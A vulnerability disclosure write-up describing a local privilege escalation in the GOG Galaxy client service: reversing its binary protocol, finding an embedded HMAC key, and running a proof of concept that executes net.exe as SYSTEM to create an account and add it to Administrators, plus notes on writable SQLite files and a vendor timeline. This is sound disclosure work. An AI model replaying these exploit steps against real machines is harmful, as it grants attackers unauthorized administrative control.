GOG Galaxy Client Local Privilege Escalation

The GOG Galaxy client is video game management software published by GOG. An audit of its security (for versions 1.2.64 and 2.0.12.48) revealed a critical local privilege escalation flaw that allows the execution of arbitrary commands as SYSTEM.

GOG fixed this issue in v2.0.13, released on February 25, 2020. Unfortunately, I was not notified of this until April 28, 2020–the 90-day deadline as per Google’s vulnerability disclosure policy. It is unknown if a fix was issued for the v1.2 branch.

Furthermore, other suspected weaknesses were found due to lax file system permissions. GOG responded that these are still under investigation.

Read on to learn the detailed steps taken to find these issues.

Local Privilege Escalation

After installing the GOG Galaxy client v1.2.64, I observed that a Windows service named GalaxyClientService runs with SYSTEM privileges and listens on localhost:9978 for connections. Its log file, C:\ProgramData\GOG.com\Galaxy\logs\GalaxyClientService.log, shows requests come in that have commands to update the software using elevated privileges:

2019-12-31 14:54:51.800 [Information][#1 (1)] [TID 3576][galaxy_service]: Received LaunchElevatedRequest 785363083
[...]
2019-12-31 14:54:51.804 [Information][#1 (1)] [TID 3576][galaxy_service]: RunUserProcess will use SYSTEM impersonation for elevated process: "C:\ProgramData\GOG.com\Galaxy\redists\GalaxyUpdater.exe" /clientUpdatePath="C:\Program Files (x86)\GOG Galaxy" /globalRedistUpdatePath="C:\ProgramData/GOG.com/Galaxy/redists" /previousClientVersion="1.2.64.2" /redistUpdatePath="C:\ProgramData/GOG.com/Galaxy/redists" /silent /updateClient /updateRedist /updateStrategy="BackgroundPrefetch"
[...]
2019-12-31 14:54:53.454 [Information][#1 (1)] [TID 3576][galaxy_service]: Created elevated process (id: 5204) as user. Process path: [...]

So I fired up Wireshark to see what they look like:

Unfortunately, it’s a binary protocol of some kind (and not something easy to understand like HTTP).

Next, I whipped up a simple Python tool to replay this message. Turns out the service accepts them!:

C:\Users\user1>sc start GalaxyClientService
[...]
C:\Users\user1>python replay.py
Sending:
b'\x00\x94\x08\x04\x10\x01\x18\xbd\x03 \xdc\x94\xc6\xeb\r\xc2\x0c\x83\x01\n\x80\x0198162a56e242a3f8889085b5df3ee1845b88f4367742e9d4e1770b013ca535c8aa8df7f6f89dc5f9641b3e0da6baedf634ef99632d8dcfdc0f8ba29dd2bb809b\n7C:\\ProgramData\\GOG.com\\Galaxy\\redists\\GalaxyUpdater.exe\x12\xd6\x02"C:\\ProgramData\\GOG.com\\Galaxy\\redists\\GalaxyUpdater.exe" /clientUpdatePath="C:\\Program Files (x86)\\GOG Galaxy" /globalRedistUpdatePath="C:\\ProgramData/GOG.com/Galaxy/redists" /previousClientVersion="1.2.64.2" /redistUpdatePath="C:\\ProgramData/GOG.com/Galaxy/redists" /silent /updateClient /updateRedist /updateStrategy="BackgroundPrefetch" \x1a%C:\\ProgramData/GOG.com/Galaxy/redists \x01(\x01'

Received:
b'\x00\x98\x08\x04\x10\x02\x18\x03\xa0\x06\xdc\x94\xc6\xeb\r\xa8\x06\xc8\x01\xc2\x0c\x83\x01\n\x80\x0114c23e87f11c2bc7416666b724ca5fc77cf78159ceed1ef2da10aa58e530cc66526dd551999597aaf94e6fe2bcaade69d1d0df1d9d92f0f5b96c9d0005f890b0\x08\xa4M'

Naturally, my next move was to change the request to try to run another executable. Unfortunately (again), making any modifications to the command results in an error. In the log file we see a message claiming that verification failed:

2019-12-31 16:35:20.724 [Error][#1 (1)] [TID 376][galaxy_service]: Failed verification in message 'LaunchElevatedRequest'.

Looking closer at the request bytes, it seems like there is a 64-byte hash included. The most common hash function that produces a 64-byte (512-bit) hash is SHA-512. Perhaps this is used to create an HMAC?

So I fired up the IDA debugger, attached to the GalaxyClientService.exe process, and sent it a legitimate (replayed) message. After many hours of tracing code paths, I finally found this:

Notice the “BEGIN RSA PRIVATE KEY” at the top? This must be the key material used to create the HMAC!

At this point, I might as well trace it a little further and watch to see how it’s used and verify if HMAC-512 is indeed used:

Bingo! QMessageAuthenticationCode.hash(message, key, QCryptographicHash::Sha512) is used to do the message verification. This function is a part of the open-source Qt-5 library (strangely, its documentation does not explicitly state what type of MAC it is, but a quick code review verifies that it is the HMAC algorithm).

The last piece of the puzzle was figuring out how the binary protocol worked. There are a couple length fields that need to be set properly. I eventually figured this out with trial-and-error. Now I have a fully functional proof-of-concept that can send arbitrary commands to the service, which will be executed as SYSTEM! (See the Proof-Of-Concept Exploit Tools section for the full source code.)

Let’s try it out:

C:\Users\user1>python galaxyclientservice_priv_esc.py C:\Windows\System32\net.exe "user jtesta Abc*123Lol /add" "C:\\"
Running GalaxyClientService...
[...]
Command and arguments: [C:\Windows\System32\net.exe user jtesta Abc*123Lol /add]; working directory: [C:\]

Connecting to localhost:9978... connected.

Sending raw bytes:
b'\x00\x93\x08\x04\x10\x01\x18b \xa1\x90\xec\xe6\x05\xc2\x0c\x83\x01\n\x80\x010c5b586dd91e0d435b885b30b8ea5957c78cdfd090403fedad8a1025e4393891b140b58ec6d0f4feb0c73810d18b28846d5b98be4d2a51900a77ae5880d682e9\n\x1bC:\\Windows\\System32\\net.exe\x12:"C:\\Windows\\System32\\net.exe" user jtesta Abc*123Lol /add \x1a\x03C:\\ \x01(\x01'

Received:
b'\x00\x98\x08\x04\x10\x02\x18\x03\xa0\x06\xa1\x90\xec\xe6\x05\xa8\x06\xc8\x01\xc2\x0c\x83\x01\n\x80\x011c26f4d88535157f164a1c262c18028821d4696ea3d1f4e077adb72137285adec0440213baab2280a54059cadf7e9c2098e9ea5d740e987bb4660c00a77e602d\x08\xc4\n'

SUCCESS!!


C:\Users\user1>python galaxyclientservice_priv_esc.py C:\Windows\System32\net.exe "localgroup Administrators jtesta /add" "C:\\"
Running GalaxyClientService...
[...]
Command and arguments: [C:\Windows\System32\net.exe localgroup Administrators jtesta /add]; working directory: [C:\]

Connecting to localhost:9978... connected.

[...]

SUCCESS!!

Ok, so we supposedly created a user named jtesta with password Abc*123Lol, then added it to the local Administrators group. Let’s see if that really happened:

    C:\Users\user1>net user jtesta
    User name                    jtesta
    [...]
    Local Group Memberships      *Administrators      *Users
    [...]
    The command completed successfully.

Big success!!

The lesson here, for system designers, is that secrets inside executables are not secret. Even if the HMAC key were stored in an encrypted state, it would still be (eventually) found in plaintext with a debugger.

Additional Suspected Weaknesses

The default file permissions of GOG Galaxy’s SQLite database files grant write access to the Users group:

C:\ProgramData\GOG.com\Galaxy\storage>icacls galaxy.db
galaxy.db BUILTIN\Users:(I)(W,Rc)
          NT AUTHORITY\SYSTEM:(I)(F)
          BUILTIN\Administrators:(I)(F)
          gog\admin:(I)(F)
          BUILTIN\Users:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

C:\ProgramData\GOG.com\Galaxy\storage>icacls jobs.db
jobs.db BUILTIN\Users:(I)(W,Rc)
        NT AUTHORITY\SYSTEM:(I)(F)
        BUILTIN\Administrators:(I)(F)
        gog\admin:(I)(F)
        BUILTIN\Users:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

These database files appear to track information about installed games & supporting tools. Some columns appear to hold executable commands:

sqlite> .schema ExecutableSupportFiles
CREATE TABLE ExecutableSupportFiles(
    'id' INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
    'installPath' TEXT NOT NULL,
    'productId' INTEGER NOT NULL,
    'arguments' VARCHAR,
    'hash' TEXT NOT NULL,
    'hidden' BOOLEAN NOT NULL,
    [...]
);

Some columns are for passwords (though I didn’t see any stored while investigating):

sqlite> .schema ProductSettings
    CREATE TABLE ProductSettings(
        [...]
        'password' TEXT,
        [...]
    );

Due to time limitations, further research was not performed. However, I suspect that privilege escalation and sensitive information leakage may be possible through this vector as well.

This issue was reported to the vendor at the same time as the local privilege escalation flaw (January 2, 2020), but no response was received until the disclosure policy deadline (April 28, 2020). At that time, the vendor responded with: “the second case with the ‘SQLite databases are writable by anyone in the Users group’ was initially given a low priority, seemingly not being an issue, but it will be reevaluate again.”

As of this writing (April 28, 2020), this issue remains unaddressed.

Proof-Of-Concept Exploit Tools

The Python tool, shown above, is available here: galaxyclientservice_priv_esc.py (GPG sig)

A Metasploit module has also been created: gog_galaxyclientservice_privesc.rb (GPG sig)

GPG Key: jtesta.asc

Vendor Contact Timeline

January 2, 2020: Initial contact to GOG.com Support was made with a request for more information on submitting security vulnerabilities. Ticket #535258 was created. Support personnel answered with an e-mail address and GPG key to submit full information to. The write-up of findings and proof-of-concept code was submitted.

January 3, 2020: The GOG Head of IT replied that the GPG key used to sign the proof-of-concept was not found. The key was provided.

January 15, 2020: GOG.com Support was contacted and asked if the Galaxy Team was able to verify the issues.

January 17, 2020: GOG.com Support replies: “Yes, the Galaxy Team was able to verify your report. They are working on improving the security of the Client Service, but I’m unable to provide an ETA for the update. Sorry for the inconvenience.”

January 28, 2020: GOG.com Support was notified that Google’s vulnerability disclosure policy would be followed. “Since I didn’t tell you this initially, it wouldn’t be fair to start counting from January 2nd. Instead, we’ll start counting 90 days from today. Hence, I’ll withhold public disclosure until April 28th at the latest. I’ll release my report sooner if it is fixed before this deadline.”

January 29, 2020: GOG.com Support confirmed that the disclosure policy would be forwarded to the Galaxy Team.

February 25, 2020: GOG releases an update to the Galaxy Client (v2.0.13), whose change log claims “improved security of the application”. Positron Security was not notified of this update, nor its relation to the security issues disclosed on January 2.

April 22, 2020: GOG.com Support was asked for an update on this issue, as well as details regarding the security improvements made in v2.0.13.

April 24, 2020: A second follow-up was sent to GOG.com Support, as the deadline approaches fast and no update was received.

April 27, 2020: A direct e-mail to the GOG Head of IT was made to seek an update. GOG.com Support replied that the request for an update was forwarded on April 22 to the person responsible, but no response was yet received.

April 28, 2020: GOG.com Support acknowledges that Galaxy client v2.0.13 fixes the local privilege escalation and stated: “the second case with the ‘SQLite databases are writable by anyone in the Users group’ was initially given a low priority, seemingly not being an issue, but it will be reevaluate again.” Full public disclosure of this report was made.